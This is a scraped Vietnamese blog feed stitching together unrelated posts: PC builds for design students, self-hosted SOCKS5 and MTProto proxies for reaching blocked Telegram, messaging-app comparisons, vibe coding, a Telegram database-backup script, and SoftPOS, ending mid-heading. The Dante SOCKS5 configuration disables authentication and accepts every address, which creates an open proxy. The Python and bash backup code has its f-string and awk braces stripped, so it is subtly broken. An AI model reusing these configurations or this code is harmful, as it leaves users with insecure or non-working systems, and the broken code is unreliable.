Học thiết kế đồ họa không đơn thuần chỉ là học phần mềm. Đó còn là quá trình bạn làm việc với hàng chục project lớn nhỏ, xử lý ảnh độ phân giải cao, render video, dựng mô hình 3D, v.v. Vì vậy, nếu không có một chiếc máy tính đủ mạnh, việc học sẽ không chỉ chậm chạp mà còn khiến bạn bị tụt lại phía sau so với bạn bè cùng lớp. Nhưng nếu là sinh viên, bài toán lại thêm phần khó: ngân sách giới hạn. Vậy liệu có thể build PC đồ họa với chi phí hợp lý? Và đâu là lựa chọn cấu hình phù hợp cho từng giai đoạn học tập, làm thêm? 1. Học thiết kế đồ họa: Đừng đánh giá thấp phần cứng Khác với sinh viên các ngành khác có thể dùng laptop mỏng nhẹ để học tập, sinh viên thiết kế đồ họa cần nhiều hơn thế. Các phần mềm như Photoshop, Illustrator, Premiere, After Effects hay Blender đều tiêu tốn đáng kể tài nguyên phần cứng — từ CPU, RAM đến card đồ họa và ổ cứng. Nếu bạn muốn học nhanh, chạy phần mềm mượt mà, render không bị giật lag và thậm chí kiếm thêm thu nhập từ các dự án freelance, việc đầu tư một bộ PC ngay từ đầu là lựa chọn thông minh hơn laptop. Lý do là: PC dễ nâng cấp, có thể thêm RAM, SSD, GPU sau một thời gian sử dụng. Giá thành trên hiệu năng tốt hơn laptop cùng tầm tiền. Tản nhiệt tốt hơn, máy chạy ổn định trong thời gian dài. Tất nhiên, lựa chọn cụ thể còn phụ thuộc vào ngân sách và định hướng học chuyên sâu của bạn. 2. Sinh viên mới học thiết kế có cần build PC mạnh không? Câu trả lời là chưa cần quá mạnh, nhưng không nên yếu. Giai đoạn năm nhất - năm hai, bạn chủ yếu làm quen với các phần mềm như Photoshop, Illustrator, InDesign hoặc Premiere ở mức cơ bản. Những tác vụ này không đòi hỏi cấu hình quá cao. Tuy nhiên, nếu máy quá yếu (CPU cũ, RAM dưới 8GB, ổ HDD), bạn sẽ gặp tình trạng giật lag, mở file chậm, crash giữa chừng — ảnh hưởng nghiêm trọng đến quá trình học. Cấu hình tối thiểu nên hướng tới: CPU: Intel Core i3-12100F hoặc Ryzen 5 5500 RAM: 16GB (2x8GB) Ổ cứng: SSD 512GB (ưu tiên NVMe) GPU: GTX 1650 hoặc card onboard Intel UHD 730 (nếu chưa cần 3D) Nguồn: 450W công suất thực Case: ATX có khe thoáng, dễ nâng cấp Đây là nền tảng đủ dùng trong 2-3 năm đầu. Khi lên năm ba, bạn có thể cân nhắc nâng cấp VGA hoặc thêm RAM nếu học thêm 3D, video hay animation. Bạn có thể tham khảo cấu hình cơ bản trong bài viết build PC đồ họa để nắm được cách phối hợp linh kiện phù hợp theo từng phần mềm học. 3. Có build được PC làm đồ họa trong tầm 15 triệu không? Hoàn toàn có thể, nếu bạn xác định rõ mục tiêu: học thiết kế 2D, dựng video cơ bản hoặc vẽ UI/UX. Với 15 triệu, bạn đã có thể sở hữu một bộ máy tính bàn có khả năng chạy mượt Adobe Photoshop, Illustrator, Figma, Premiere ở mức ổn định. Ví dụ cấu hình thực tế trong tầm giá 15 triệu: CPU: Intel Core i3-12100F (4 nhân 8 luồng, xung cao) Mainboard: H610M RAM: 16GB DDR4 (2x8GB bus 3200) SSD: 512GB NVMe VGA: GTX 1650 4GB GDDR5 PSU: 450W có chứng nhận Case: Mid tower đơn giản Điểm mạnh của cấu hình này là có thể xử lý đa tác vụ tốt, chạy được nhiều phần mềm Adobe đồng thời, hỗ trợ render video ngắn hoặc xuất file chất lượng cao mà không bị treo máy. Chi tiết cách chọn linh kiện tối ưu cho tầm giá này, bạn có thể xem trong bài viết build PC 15 triệu - có đầy đủ phương án thay thế và đánh giá từng phần linh kiện. 4. Những lỗi sai thường gặp khi sinh viên build PC đồ họa Không đủ RAM: Nhiều bạn chỉ lắp 1 thanh 8GB hoặc dùng tạm 4GB → máy cực kỳ chậm khi mở file lớn hoặc render. Chọn CPU có iGPU yếu: Với các dòng Celeron, Pentium hoặc Athlon, iGPU không thể xử lý thiết kế ổn định, hình ảnh dễ vỡ, giật. Không dùng SSD: Vẫn còn nhiều bạn chọn HDD vì giá rẻ, nhưng đó là “điểm nghẽn hiệu năng” hàng đầu khiến máy ì ạch. Bỏ qua card đồ họa: Với những bạn học 3D, video, motion mà không có VGA thì khả năng làm việc sẽ rất hạn chế. Ít nhất nên có GTX 1650 trở lên. Không đầu tư màn hình chất lượng: Làm đồ họa mà dùng màn TN, lệch màu thì ảnh xuất ra dễ bị sai tông, ảnh hưởng đến chất lượng sản phẩm. Sinh viên thiết kế đồ họa không cần máy tính quá đắt, nhưng phải chọn đúng cấu hình để đảm bảo việc học tập và làm thêm diễn ra mượt mà. Với khoảng 15-20 triệu, bạn hoàn toàn có thể build được một dàn PC đủ để học tốt các phần mềm thiết kế phổ biến. Quan trọng là cân đối giữa CPU, RAM và SSD, chọn linh kiện dễ nâng cấp về sau. Thay vì đầu tư dàn máy ảo mộng hoặc tiết kiệm quá mức, hãy tập trung vào hiệu năng thực tế - vì một chiếc máy ổn định chính là công cụ đồng hành suốt những năm tháng đại học, và có thể là “vốn làm nghề” của bạn sau này.
0 notes
Link
Sau vài ngày sử dụng MTProto để dùng cho Telegram, không hiểu sao mình thấy kết nối khá chậm, vẫn trên con VPS đó mà chuyển qua tạo SOCKS5 trên Ubuntu thì nhận tin mượt như sunsilk. Dành cho ai chưa biết thì, SOCKS5 là một giao thức proxy giúp người dùng ẩn IP, vượt tường lửa và truy cập các dịch vụ bị chặn như Telegram, web nước ngoài hay ứng dụng yêu cầu bảo mật cao. Thay vì sử dụng proxy công cộng đầy rủi ro, bạn hoàn toàn có thể tự tạo một SOCKS5 proxy trên server riêng để sử dụng an toàn, ổn định và hiệu quả hơn. Bài viết này sẽ hướng dẫn cách tạo SOCKS5 trên Ubuntu và cách sử dụng nó cho Telegram hoặc bất kỳ ứng dụng nào hỗ trợ proxy. SOCKS5 là gì? SOCKS5 là phiên bản mới nhất của giao thức SOCKS, hoạt động ở tầng thứ 5 của mô hình OSI. SOCKS5 cho phép truyền dữ liệu từ máy khách đến máy chủ thông qua proxy trung gian, hỗ trợ nhiều giao thức như HTTP, HTTPS, FTP, torrent... và không ràng buộc về nội dung truyền tải. Hướng dẫn tự tạo SOCKS5 trên Ubuntu Để tạo riêng tạo SOCKS5 trên Ubuntu sử dụng Fake IP, bạn hãy thực hiện theo các bước sau: Bước 1: Trên server Ubuntu , gõ lệnh: sudo apt update sudo apt install dante-server -y Bước 2: Kiểm tra tên Card mạng của Server là gì. Bạn gõ lệnh: ip a Kiểm tra interface mạng hiện tại có thể là esns3, enp0s3, eth0.... Ghi nhớ tên Card mạng để cấu hình SOCK5 nhé. Như trong hình bên dưới là VPS mình đang dùng interface eth0 Bước 3: Sửa hoặc tạo file /etc/danted.conf: Gõ lệnh: sudo nano /etc/danted.conf Dán nội dung dưới đây là vào danted.conf (thay eth0 thành Interface ở Bước 2): logoutput: syslog internal: eth0 port = 1080 external: eth0 socksmethod: none clientmethod: none user.notprivileged: nobody client pass from: 0.0.0.0/0 to: 0.0.0.0/0 log: connect disconnect error socks pass from: 0.0.0.0/0 to: 0.0.0.0/0 protocol: tcp udp socksmethod: none log: connect disconnect error Sau đó nhấn các phím dưới đây để lưu và thoát file: Ctrl X Y Enter Bước 4: Thực hiện mở Port kết nối Nếu bạn đang dùng iptables thì dùng lệnh: sudo iptables -A INPUT -p tcp --dport 1080 -j ACCEPT Nếu dùng ufw thì dùng lệnh sudo ufw allow 1080/tcp sudo ufw reload Nếu dùng firewalld thì dùng lệnh: sudo firewall-cmd --permanent --add-port=1080/tcp sudo firewall-cmd --reload Nếu không chắc chắn VPS bạn đang dùng Firewall nào thì cứ copy hết các lệnh trên vào chạy là được. Bước 5: Khởi Động Dante để chạy SOCKS5 sudo systemctl restart danted sudo systemctl enable danted sudo systemctl status danted Với lệnh này thì khi khởi động lại VPS hoặc thoát khỏi SSH thì danted vẫn hoạt động ngầm, bạn không cần dùng screen như bên MTProto Proxy. Để kiểm tra VPS Ubuntu đã lắng nghe được Port 1080 chưa, bạn gõ lệnh sudo ss -tuln | grep 1080 Nếu thấy LISTEN thì ok rồi đó. Cách dùng SOCKS5 cho Telegram Tạo link SOCKS5 để chia sẻ cho mọi người Telegram hỗ trợ thêm proxy tự động qua liên kết tg:// hoặc https://t.me/proxy?server=x.x.x.x&port=xxx Bạn chỉ cần nhập IP VPS và Port 1080 vào rồi click vào link thì SOCKS5 sẽ tự thêm vào Telegram và sử dụng IP VPS để kết nối, khi đó sẽ bị không bị nhà mạng chặn nửa. Ví dụ IP Server là 51.79.123.222 thì bạn truy cập vào link tg://proxy?server=51.79.123.222&port=1080 hoặc https://t.me/proxy?server=51.79.123.222&port=1080 Thêm thủ công SOCKS5 vào Telegram Nếu thêm SOCKS5 thủ công vào Telegram thì bạn vào Setting -> Advance -> Connection Type: xem chỗ Use custom proxy -> Add proxy. Nếu thấy kết quả Online là đã kết nối thành công từ Telegram đến Proxy của bạn. Nhập Hostname và Port vào: Nếu thấy Server Online là bạn đã thành công dùng SOCKS5 cho Telegram rồi đấy. Trên Ubuntun bạn có thể vừa cài SOCKS5 vừa cài MTPro vẫn được nhé. Ngoài việc sử dụng SOCKS5 cho Telegram, bạn có thể sử dụng cho trình duyệt Web hoặc toàn bộ máy tính bằng cách thay đổi cấu hình Proxy thành IP và Port VPS của bạn, nếu bạn chưa biết cách làm hãy bình luận bên dưới để mình viết thêm nội dung nhé.
0 notes
Link
Khi Telegram đang tạm thời bị các nhà mạng chặn trong khi hợp tác với chính phủ Việt Nam. Một trong những giải pháp hiệu quả và riêng tư nhất là sử dụng MTProto Proxy, một giao thức mã hóa được thiết kế riêng cho Telegram. Bài viết này sẽ giúp bạn hiểu MTProto Proxy là gì, tự thiết lập proxy riêng để truy cập Telegram khi bị nhà mạng chặn. MTProto Proxy Là Gì? MTProto Proxy là một loại proxy được Telegram phát triển dựa trên giao thức bảo mật MTProto (Mobile Transport Protocol). Không giống các proxy HTTP hoặc SOCKS, MTProto Proxy chỉ dùng cho Telegram, giúp người dùng: Truy cập Telegram khi bị nhà mạng chặn. Ẩn danh khi sử dụng Telegram Tránh bị kiểm duyệt hoặc giám sát bởi nhà cung cấp mạng. MTProto Proxy thường hoạt động tốt hơn VPN trong việc bypass tường lửa mà không làm chậm tốc độ kết nối. Hướng Dẫn Tạo Proxy MTProto Riêng Trên VPS Bước 1: Để tạo 1 địa chỉ Proxy riêng, sử dụng cho cá nhân, bạn cần có 1 VPS có thể thuê ở Vultr, Digital Ocean, Linode... với giá khá rẽ từ 2$ đến 5$/tháng (Đây là 3 nhà cung cấp VPS có tốc độ về Việt Nam ổn nhất). Nếu chỉ dùng cho mục đích Proxy bạn không cần thuê VPS cấu hình hình cao làm gì, chỉ cần cài được Linux là ổn rồi. Bước 2: Bạn SSH vào Server và thực hiện các lệnh sau: git clone -b stable https://github.com/alexbers/mtprotoproxy.git; cd mtprotoproxy python3 mtprotoproxy.py Khi đó, kết quả sẽ trả về cho bạn lệnh kết nối Proxy tg://proxy?server=IP-VPS&port=xxx&secret=xxxxxxxxxx Bước 3: Bây giờ bạn chỉ cần dán đường dẫn tg://proxy?server=IP-VPS&port=xxx&secret=xxxxxxxxxx vào trình duyệt hoặc dán vào khung chat Telegram sau đó click vào đó, Telegram sẽ tự động sử dụng Proxy do bạn tạo ra trên Server để truy cập. Do Proxy của bạn ở nước ngoài nên sẽ không bị nhà mạng chặn hoặc quản lý. Để kiểm tra xem Telegram có thật sự đang dùng Proxy của bạn tạo ra không, thì bạn vào Setting -> Advance -> Connection Type: xem chỗ Use custom proxy. Nếu thấy kết quả Online là đã kết nối thành công từ Telegram đến Proxy của bạn. Các thay đổi cấu hình MTProto Mặc định MTProto sẽ tự chọn Port và Secret Key, nếu bạn muốn tự chỉnh cấu hình MTProto có thể thay đổi nội dung của file config.py Trường hợp Firewall VPS chặn Port, bạn có thể dùng lệnh sau để mở Port: sudo ufw allow 443/tcp sudo ufw allow 443/udp Để tránh trường hợp tắt SSH thì MTProto cũng bị tắt, thì bạn nên dùng lệnh Screen để code vẫn hoạt động khi bạn tắt kết nối SSH sudo apt install screen screen -S mtproxy python3 mtprotoproxy.py # Nhấn Ctrl+A, rồi D để thoát màn hình mà vẫn giữ server chạy Việc tạo proxy MTProto riêng không chỉ giúp bạn truy cập Telegram khi bị chặn, mà còn đảm bảo tính riêng tư, tốc độ ổn định và không bị phụ thuộc nhà mạng. Chỉ với vài dòng lệnh, bạn đã có thể xây dựng một hệ thống bảo mật hiệu quả cho cá nhân hoặc nhóm nhỏ. Tuy nhiên, bạn chỉ nên sử dụng cho cá nhân, và hạn chế sử dụng Proxy được chia sẻ công cộng vì có thể dữ liệu sẽ bị theo dõi. Nếu cảm thấy dùng Telegram khá phức tạp, bạn có thể cân nhắc đổi sang TOP các ứng dụng OTT nhắn tin miễn phí mà mình đã liệt kê.
0 notes
Link
Việt Nam chuẩn bị áp dụng chính sách chặn Telegram, cộng đồng người dùng đang tìm kiếm top các ứng dụng OTT nhắn tin thay thế Telegram vừa bảo mật, tiện dụng, lại dễ dùng. Không những vậy, nhiều người cũng đang muốn thoát khỏi hệ sinh thái Zalo với quá nhiều giới hạn, quảng cáo và những hạn chế về tính năng. Ứng dụng OTT là gì? OTT (Over-The-Top) là thuật ngữ chỉ các nền tảng cung cấp dịch vụ nhắn tin, gọi điện, truyền tải nội dung qua internet, không phụ thuộc vào nhà mạng viễn thông. Những cái tên quen thuộc như Telegram, Messenger, Zalo, Viber chính là các ứng dụng OTT. Ưu điểm của OTT là: Miễn phí tin nhắn và cuộc gọi qua internet Hỗ trợ gửi ảnh, video, file dung lượng lớn Bảo mật và có thể hoạt động trên nhiều nền tảng (PC, mobile) Dưới đây là danh sách các ứng dụng OTT phổ biến, an toàn và đáng dùng hiện nay. TOP các ứng dụng OTT nhắn tin thay thế Telegram Messenger Messenger là ứng dụng nhắn tin được phát triển bởi Facebook (nay là Meta), xứng đáng là TOP các ứng dụng OTT cho phép người dùng nhắn tin, gọi điện, gọi video miễn phí qua internet. Ứng dụng này tích hợp sẵn trong Facebook hoặc có thể tải về dưới dạng một ứng dụng riêng biệt. Ưu điểm: Kết nối dễ dàng với bạn bè trên Facebook, giao diện thân thiện, dễ sử dụng, nhiều tính năng như gửi ảnh, video, tin nhắn thoại, gọi điện/video call, sticker, hỗ trợ trò chuyện nhóm, cuộc trò chuyện bí mật. Nhược điểm: Đôi khi gặp lỗi kết nối, ảnh hưởng đến trải nghiệm người dùng. Có thể tiêu tốn nhiều dung lượng pin. Zalo Zalo là ứng dụng nhắn tin, gọi điện và gọi video miễn phí phổ biến tại Việt Nam, được phát triển bởi VNG Corporation. Ưu điểm: Tốc độ gửi tin nhắn nhanh, giao diện thân thiện với người dùng Việt Nam, nhiều tính năng như gửi file, nhãn dán, gọi điện/video call, chia sẻ vị trí, tích hợp với danh bạ điện thoại. Nhược điểm: Độ phổ biến còn hạn chế ở thị trường quốc tế. Cẩn thận kẻo mất File, hình ảnh, thời gian lưu trữ Media ngắn, chiếm dung lượng ổ cứng khá nhiều. SMS SMS là dịch vụ nhắn tin truyền thống qua mạng di động. Ưu điểm: Không cần kết nối internet, hoạt động trên tất cả các điện thoại di động. Nhược điểm: Tính năng hạn chế, chi phí cao hơn so với các ứng dụng OTT. Line Line là một ứng dụng nhắn tin miễn phí, cho phép gọi điện, gọi video và chia sẻ hình ảnh, video. Line cũng tích hợp một số tính năng mạng xã hội như dòng thời gian, Sticker và cửa hàng chủ đề. Ưu điểm: Bộ sưu tập sticker phong phú và độc đáo, gọi điện/video miễn phí trong nước và quốc tế, tích hợp tính năng mạng xã hội, có phiên bản trên máy tính và điện thoại. Nhược điểm: Độ phổ biến tùy thuộc vào khu vực, chưa phổ biến rộng rãi tại Việt Nam. Snapchat Snapchat là ứng dụng nhắn tin chủ yếu nhắm đến giới trẻ, nổi bật với tính năng tin nhắn và xóa bỏ hình ảnh nhanh. Ứng dụng cung cấp nhiều bộ lọc và công cụ chỉnh sửa ảnh, video vui nhộn. Ưu điểm: Bộ lọc và công cụ chỉnh sửa ảnh/video đa dạng, tin nhắn biến mất sau khi xem tạo sự riêng tư, giao diện độc đáo.(Media Lab) Nhược điểm: Không phổ biến tại Việt Nam, tính năng nhắn tin hạn chế so với các ứng dụng khác. Viber Viber là ứng dụng nhắn tin và gọi điện miễn phí, được phát triển bởi Rakuten, Nhật Bản. Ưu điểm: Hỗ trợ gọi điện và nhắn tin miễn phí, chất lượng cuộc gọi tốt, hỗ trợ gửi file, ảnh, video, có tính năng bảo mật như mã hóa đầu cuối. Nhược điểm: Không phổ biến bằng các ứng dụng khác tại Việt Nam, giao diện người dùng có thể không thân thiện bằng. WhatsApp WhatsApp là ứng dụng nhắn tin miễn phí, thuộc sở hữu của Meta. Ưu điểm: Mã hóa đầu cuối cho tin nhắn và cuộc gọi, giao diện đơn giản, dễ sử dụng, hỗ trợ gửi file, ảnh, video. Nhược điểm: Không phổ biến tại Việt Nam, một số người dùng lo ngại về quyền riêng tư do liên kết với Facebook. WeChat Nói đến TOP các ứng dụng OTT, không thể không nhắc WeChat là ứng dụng nhắn tin và mạng xã hội phổ biến tại Trung Quốc, thuộc sở hữu của Tencent. Ưu điểm: Tích hợp nhiều tính năng như nhắn tin, gọi điện, thanh toán, mạng xã hội. Nhược điểm: Không phổ biến tại Việt Nam, một số người dùng lo ngại về quyền riêng tư và kiểm duyệt nội dung. Signal Signal là ứng dụng nhắn tin mã nguồn mở, tập trung vào bảo mật và quyền riêng tư. Signal đứng TOP các ứng dụng OTT về bảo mật tin nhắn và quyền riêng tư. Ưu điểm: Mã hóa đầu cuối cho tất cả các cuộc trò chuyện, không lưu trữ dữ liệu người dùng, mã nguồn mở. Nhược điểm: Giao diện đơn giản, thiếu một số tính năng giải trí, không phổ biến tại Việt Nam. Threema Threema là ứng dụng đến từ Thụy Sĩ, nổi bật với chính sách không thu thập dữ liệu người dùng, không yêu cầu đăng ký bằng số điện thoại hay email. Ứng dụng này hướng tới sự riêng tư tuyệt đối và thường được các tổ chức phi chính phủ, nhà báo, hay doanh nghiệp lựa chọn. Ưu điểm: nổi bật của Threema là máy chủ đặt tại Thụy Sĩ – quốc gia có luật bảo vệ dữ liệu cá nhân nghiêm ngặt – cùng với việc ứng dụng không lưu bất kỳ metadata nào. Nhược điểm: là Threema không miễn phí, người dùng phải mua ứng dụng để sử dụng, và cộng đồng người dùng còn nhỏ khiến việc tìm kiếm bạn bè đôi khi gặp khó khăn.
0 notes
Link
0 notes
Link
Trong cộng đồng lập trình, cụm từ Vibe Coding đang dần trở thành một khái niệm quen thuộc, đặc biệt là từ khi có AI hỗ trợ viết Code. Vậy thực chất, vibe coding là gì và tại sao nó lại thu hút giới lập trình đến vậy? Hiểu đơn giản về Vibe Coding Vibe Coding trong lập trình là việc tập trung thời gian và năng lượng của bạn vào việc sáng tạo, phát triển ứng dụng, thay vì bị đầu tư vào các chi tiết kỹ thuật như thuật toán, cách xử lý code. Vibe Coding là xu hướng làm việc khi có AI hỗ trợ giúp tâm trạng thoải mái hơn và nhiều ý tưởng mới hơn. Vibe Coding có thể hiểu đơn giản là một phong cách làm việc kết hợp giữa âm nhạc, không gian và tâm trạng tích cực để giúp lập trình viên cảm thấy hứng khởi và tập trung hơn khi viết code. Thay vì ngồi trước màn hình với bộ mặt căng thẳng, coder sẽ tạo một môi trường thoải mái, thư giãn để dễ dàng tập trung và sáng tạo. Có thể là bật nhạc lo-fi, đèn LED đổi màu, ngồi trong quán cà phê hoặc phòng làm việc được setup cực chill. Nói một cách khác, vibe coding là khi bạn code trong "vibe" - không khí hoặc tâm trạng tích cực mà bạn tự tạo ra. Tại sao Vibe Coding lại trở thành xu hướng? Không thể phủ nhận rằng Vibe Coding đã trở thành một xu hướng phổ biến trong cộng đồng lập trình viên, đặc biệt là từ khi AI. Vậy điều gì khiến vibe coding không chỉ “sống sót” mà còn bùng nổ mạnh mẽ trong thời đại của AI? Trước đây, việc viết code thường đòi hỏi rất nhiều thời gian và sự suy luận. Nhưng với sự xuất hiện của các công cụ như GitHub Copilot, ChatGPT, Gemini hay Tabnine , lập trình viên không còn phải ngồi gõ từng dòng code mà thay vào đó, họ có thể sử dụng AI để hỗ trợ viết code nhanh hơn, tối ưu hơn. Tuy nhiên, bạn cần có tư duy sáng tạo, biết cách đặt vấn đề và sử dụng AI hiệu quả . Và đây chính là lúc vibe coding phát huy tác dụng, bởi khi bạn ở trong trạng thái “flow”, tâm trí thoải mái, cảm xúc tích cực, bạn sẽ dễ dàng đưa ra những câu hỏi thông minh, sáng tạophối hợp ăn ý với AI hơn. Vibe coding không chỉ là không gian, mà còn là tinh thần Điều quan trọng nhất khi nói về vibe coding chính là tinh thần tích cực trong công việc. Dù không gian có đẹp đến đâu, nếu thiếu đi sự kết nối giữa cảm xúc và tư duy sáng tạo, thì việc code cũng trở nên nhàm chán. Vibe coding khuyến khích coder tạo ra một thói quen làm việc cân bằng giữa công việc và cảm xúc cá nhân. Không ít người đã chia sẻ rằng từ khi áp dụng phong cách này, họ cảm thấy dễ bắt đầu công việc hơn, ít stress hơn và cũng có nhiều cảm hứng hơn trong quá trình phát triển dự án cá nhân.
0 notes
Link
Telegram cho Upload file 2Gb đối với tài khoản thường và 4Gb đối với tài khoản Premium, tận dụng chức năng này bạn có thể Upload file Backup Database và Website lên Telegram để lưu trữ. Bài viết này sẽ giới thiệu đến bạn một script tự động Database và Source Code website, sau đó gửi trực tiếp bản sao lưu lên Telegram. Giải pháp này không chỉ tiện lợi, an toàn mà còn giúp bạn dễ dàng theo dõi và quản lý các bản backup ngay trên App. [caption id="attachment_85479" align="aligncenter" width="600"] Script Backup Database và Source Code Website lên Telegram[/caption] Hướng Dẫn Backup Database và Website lên Telegram Bây giờ chúng ta sẽ bắt đầu viết code Backup Database và Website lên Telegram. Tóm tắt quá trình gồm 3 bước: Tạo script upload file lên telegram Tạo script backup Website Hẹn giờ backup định kỳ Scirpt gửi file lên Telegram Bạn cần điền 4 thông tin này vào Script: api_id = api_hash = phone_number = group_id = Cách lấy thông tin như sau: Trước tiên bạn cần vào trang https://my.telegram.org và đăng nhập để lấy api_id và api_hash và điền vào trong Code bên dưới Sau đó bạn tạo 1 Group Telegram chỉ với 1 mình bạn trong Group đó, mục đích dùng Group để lưu trữ các File Backup. trong phần group_id = : bạn lấy id của group mới tạo để điền vào. Nếu không biết ID group là bao nhiêu thì bạn add con bot này vào: @myidbot Sau khi add xong, trong group bạn gõ lệnh /getgroupid@myidbot để lấy ID Group (lưu ý copy luôn dấu - nhé) Lưu file thành tele.py vào trong thư mục /root/code/ Ta có đường dẫn như sau: /root/code/tele.py from telethon import TelegramClient import asyncio import os import sys from datetime import datetime, timezone, timedelta # --- Config thông tin đăng nhập --- api_id = xxx # Thay bằng xxx lấy ở https://my.telegram.org api_hash = 'xxxxxx' # Thay bằng xxxxxx lấy ở https://my.telegram.org phone_number = '+84913456789' # Số điện thoại Telegram của bạn (bao gồm mã quốc gia) group_id = -123456 # ID nhóm Telegram log_file = '/var/log/backup_telegram.log' # Hàm lấy giờ GMT+7 def get_vn_time(): utc_now = datetime.now(timezone.utc) vn_now = utc_now + timedelta(hours=7) return vn_now.strftime("%Y-%m-%d %H:%M:%S") # Ghi log ra file def write_log(message): with open(log_file, 'a') as f: f.write(f"get_vn_time() - message\n") async def main(upload_directory): client = TelegramClient('user_session', api_id, api_hash) await client.start(phone=phone_number) if not os.path.isdir(upload_directory): msg = f"❌ Không tìm thấy thư mục backup: upload_directory" write_log(msg) print(msg) return files = [os.path.join(upload_directory, f) for f in os.listdir(upload_directory) if os.path.isfile(os.path.join(upload_directory, f))] if not files: msg = "📂 Thư mục rỗng, không có file nào để upload." write_log(msg) print(msg) return write_log(f"📦 Bắt đầu upload len(files) file từ upload_directory") for idx, file_path in enumerate(files, start=1): filename = os.path.basename(file_path) upload_time = get_vn_time() file_size_mb = os.path.getsize(file_path) / (1024 * 1024) # Cảnh báo nếu file quá 1900MB if file_size_mb > 1900: warning = f"⚠️ File filename lớn (file_size_mb:.2f MB), có thể không upload được." write_log(warning) print(warning) try: print(f"🚀 [idx/len(files)] Upload filename (file_size_mb:.2fMB) lúc upload_time") await client.send_file( group_id, file_path, caption=f"📄 File: filename\n🕒 Upload lúc: upload_time (GMT+7)\n📦 Dung lượng: file_size_mb:.2f MB" ) write_log(f"✅ Upload filename thành công.") except Exception as e: error_message = f"❌ Upload lỗi filename: e" write_log(error_message) print(error_message) # Gửi thông báo lỗi về group Telegram await client.send_message(group_id, f"❌ Lỗi upload file: filename\nError: e") await client.disconnect() print("🎉 Đã hoàn tất upload tất cả các file.") write_log("🎉 Upload hoàn tất.") if __name__ == '__main__': if len(sys.argv) != 2: print("❌ Cần truyền vào đường dẫn thư mục backup.") sys.exit(1) upload_directory = sys.argv[1] asyncio.run(main(upload_directory)) Bây giờ bạn gõ lệnh: cd /root/code echo "" > a.txt python3 tele.py Ở lần chạy code đầu tiên, bạn sẽ được yêu cầu nhập mã OTP gửi về SĐT hoặc App Telegram để xác thực. Nếu bạn thấy file a.txt được Upload lên Group Telegram của bạn là xem như thành công phần Upload File lên telegram. Chúng ta sẽ qua bước tiếp theo Tạo Script Backup Website và Database Đây là Script mình tham khảo từ HocVPS dùng để Backup dữ liệu Website trên Server Ubuntu: Vào thư mục /root/code/ tạo file backup.sh có nội dung như sau: (Thay zip -r $BACKUP_DIR/anonyviet.com.zip /home/anonyviet.com/public_html/ -q -x /home/anonyviet.com/public_html/wp-content/cache/**\* #Exclude cache ) thành đường dẫn đúng trong Server của bạn nhé) #!/bin/bash TIMESTAMP=$(date +"%F") BACKUP_DIR="/root/backup/$TIMESTAMP" MYSQL=/usr/bin/mysql MYSQLDUMP=/usr/bin/mysqldump SECONDS=0 mkdir -p "$BACKUP_DIR/mysql" databases=`$MYSQL -e "SHOW DATABASES;" | grep -Ev "(Database|information_schema|performance_schema|mysql)"` for db in $databases; do $MYSQLDUMP --force --opt $db | gzip > "$BACKUP_DIR/mysql/$db.gz" done # Loop through /home directory zip -r $BACKUP_DIR/anonyviet.com.zip /home/anonyviet.com/public_html/ -q -x /home/anonyviet.com/public_html/wp-content/cache/**\* #Exclude cache # Gọi file Python để upload cd /root/code/ python3 tele.py "$BACKUP_DIR" size=$(du -sh $BACKUP_DIR | awk ' print $1') duration=$SECONDS echo "Total $size, $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed." Cấp quyền thực thi cho file backup.sh, bạn gõ lệnh: cd /root/code/ chmod +x * Thiết lập Cronjob sao lưu dữ liệu hàng ngày gửi lên Telegram Chúng ta sẽ hiện cứ mỗi 01 giờ sáng hàng ngày sẽ Backup Database và Website lên Telegram. Bạn gõ lệnh crontab -e, thêm dòng này vào cuối file: 0 1 * * * /root/code/backup.sh 2>&1 Sau đó nhấn lần lượt các phím sau để lưu và thoát: Ctrl X Y Enter Việc sao lưu dữ liệu website tự động lên Telegram là giải pháp đơn giản nhưng hiệu quả cao, ngoài ra bạn nên Backup 1 bản lên Google Drive để tận dụng 15Gb miễn phí.
0 notes
Link
Trong thời đại số hóa, việc thanh toán không dùng tiền mặt ngày càng phổ biến, đặc biệt là phương thức thanh toán contactless – chỉ cần chạm thẻ hoặc điện thoại vào thiết bị là giao dịch được hoàn tất. Với sự phát triển của công nghệ, các doanh nghiệp không còn phải đầu tư máy POS truyền thống đắt đỏ mà có thể sử dụng một công nghệ linh hoạt hơn: SoftPOS. 1. Xu hướng thanh toán contactless dần phổ biến Thanh toán contactless là gì? Thanh toán không tiếp xúc, hay thanh toán không chạm, là phương thức giao dịch không cần quẹt thẻ hoặc nhập mã PIN, mà chỉ cần chạm nhẹ thẻ, điện thoại hoặc thiết bị thông minh vào đầu đọc NFC. Công nghệ này giúp quá trình thanh toán diễn ra nhanh chóng, tiện lợi và an toàn hơn so với các phương thức truyền thống. Những phương thức thanh toán contactless phổ biến hiện nay: Thẻ ngân hàng có chip contactless (Visa, Mastercard, Napas) Thiết bị thông minh có hỗ trợ NFC, đã tích hợp Google Pay, Apple Pay, Samsung Pay Vì sao thanh toán contactless trở thành xu hướng? Một trong những lý do chính khiến thanh toán không tiếp xúc ngày càng được ưa chuộng là tốc độ xử lý cực nhanh. Chỉ trong vài giây, giao dịch đã hoàn tất mà không cần phải nhập mã PIN hay ký tên, giúp tiết kiệm thời gian đáng kể cho cả người mua và người bán. Bên cạnh đó, công nghệ mã hóa tiên tiến giúp bảo vệ thông tin người dùng, giảm thiểu tối đa nguy cơ bị đánh cắp dữ liệu hay gian lận tài chính. Không chỉ dừng lại ở tính tiện lợi và bảo mật, phương thức thanh toán này còn đặc biệt phù hợp trong bối cảnh hậu đại dịch. Khi người tiêu dùng ngày càng ưu tiên việc hạn chế tiếp xúc vật lý tại các điểm thanh toán, contactless trở thành giải pháp lý tưởng. Hiện tại, phần lớn các hệ thống bán lẻ, cửa hàng tiện lợi, siêu thị và trung tâm thương mại trên toàn cầu đều đã hỗ trợ thanh toán không chạm, góp phần phổ biến phương thức này đến mọi tầng lớp người tiêu dùng. Tóm lại, thanh toán contactless không chỉ là một bước tiến về công nghệ mà còn phản ánh xu hướng tiêu dùng hiện đại: nhanh chóng, tiện lợi, an toàn và thân thiện với sức khỏe cộng đồng. Với sự gia tăng mạnh mẽ của phương thức thanh toán contactless, hộ kinh doanh và chủ cửa hàng nên nhanh chóng cập nhật công nghệ này để bắt kịp xu hướng, đáp ứng nhu cầu khách hàng. Nhưng làm thế nào để triển khai dễ dàng mà không cần đầu tư thiết bị POS đắt đỏ? Đó là lúc SoftPOS trở thành giải pháp tối ưu. 2. Soft POS là gì? Giải pháp chấp nhận thanh toán hiện đại dành cho hộ 